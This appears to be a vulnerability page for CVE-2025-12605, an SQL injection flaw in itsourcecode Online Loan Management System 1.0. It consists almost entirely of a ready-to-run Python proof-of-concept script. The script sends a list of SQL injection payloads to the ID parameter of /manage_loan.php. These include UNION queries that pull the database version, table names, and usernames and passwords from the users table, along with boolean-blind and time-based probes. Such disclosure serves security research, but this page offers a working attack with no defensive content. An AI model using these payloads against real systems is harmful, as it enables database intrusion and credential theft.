CVE-2025-12605 | itsourcecode Online Loan Management System SQL注入漏洞

# CVE-2025-12605 SQL Injection PoC # Target: itsourcecode Online Loan Management System 1.0 # File: /manage_loan.php # Parameter: ID import requests import sys target_url = "http://target.com/manage_loan.php" # SQL Injection Payloads payloads = [ # Basic error-based injection "1' OR '1'='1", # Union-based injection to extract database version "1' UNION SELECT NULL,version(),NULL,NULL-- -", # Extract current database and user "1' UNION SELECT NULL,database(),user(),NULL-- -", # Extract all table names from information_schema "1' UNION SELECT NULL,table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -", # Boolean-based blind injection "1' AND 1=1-- -", "1' AND 1=2-- -", # Time-based blind injection "1' AND SLEEP(5)-- -", # Extract users table credentials "1' UNION SELECT NULL,username,password,NULL FROM users-- -" ] def test_sqli(payload): params = {"ID": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Testing payload: {payload}") print(f"[+] Status code: {response.status_code}") print(f"[+] Response length: {len(response.text)}") if "sql" in response.text.lower() or "error" in response.text.lower(): print("[!] Potential SQL error detected!") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("CVE-2025-12605 SQL Injection PoC") print("=" * 50) for payload in payloads: test_sqli(payload) print("\n[*] Testing complete. Check responses for SQL injection indicators.")